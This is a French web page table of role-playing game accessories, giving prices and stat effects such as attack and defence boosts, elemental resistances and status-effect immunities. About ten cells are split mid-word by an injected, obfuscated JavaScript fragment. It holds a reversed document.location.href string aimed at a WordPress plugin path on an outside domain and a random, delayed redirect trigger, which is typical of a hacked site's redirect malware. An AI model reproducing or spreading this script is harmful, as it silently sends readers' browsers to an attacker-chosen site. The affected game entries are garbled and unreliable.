Nom
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Prix
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Effet
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Équipement de base
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100
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Attaque physique + 5
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100
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Défense physique + 5
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200
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Attaque physique + 10
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200
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Défense physique + 10
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600
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Attaque magique + 30
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600
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Défense magique + 30
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1000
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Attaque physique + 20, défense physique + 20
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1000
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Attaque physique + 20, attaque magique + 20
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1000
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Défense physique + 20, défense magique + 20
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300
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Capacité à éviter les attaques physiques + 20%
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300
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Capacité à éviter les attaques magiques + 20%
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600
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Capacité à éviter les attaques physiques + 20%, capacité à éviter les attaques magiques + 20%
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Capacité d’attaques physiques + 20%, capacité d’attaques magiques + 20%
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Vitesse + 20 (personnage masculin uniquement) – A trouver dans la terre natale des Gigantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to au CD 2.
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Vitesse + 20 (personnage féminin uniquement)
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HP Max + 50%
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Récupère 10% de HP à chaque toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour
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Max MP x 2
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Récupère 10% de MP à chaque toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour
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1000
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Ajout autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatique : moitié des dégâts et SP
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10000
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Garantit le succès du Combo
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Résurrection avec 50% des HP
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Diminue de moitié les dégâts des attaques de feu
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Diminue de moitié les dégâts des attaques de vent
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Diminue de moitié les dégâts des attaques de lumière
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Diminue de moitié les dégâts des attaques de terre
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Diminue de moitié les dégâts des attaques d’eau
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Diminue de moitié les dégâts des attaques des ténèbres
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Diminue de moitié les dégâts des attaques de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnerre
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5000
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Réduit les dommages physiques de 50%
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5000
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Réduit les dommages magiques de 50%
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10000
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Réduit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les dommages de 50%
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1000
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Permet d’obtenir 20 SP de plus lors d’attaques physiques
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1000
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Permet d’obtenir 20 SP de plus lors d’attaques magiques
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1000
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Restaure 10% des MP Max lors d’attaques magiques
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1000
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Restaure 10% des MP Max lors d’attaques physiques
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200
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Annule l’effet poison
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200
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Annule l’effet étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement
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200
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Annule l’effet arme bloquée
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300
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Annule l’effet de peur
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300
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Annule l’effet charme
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200
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Annule l’effet confusion
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200
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Annule l’effet découragement
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400
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Annule l’effet pétrification
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Annule l’effet mort immédiate
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Annule toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les états anormaux
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+50% de sp gagné |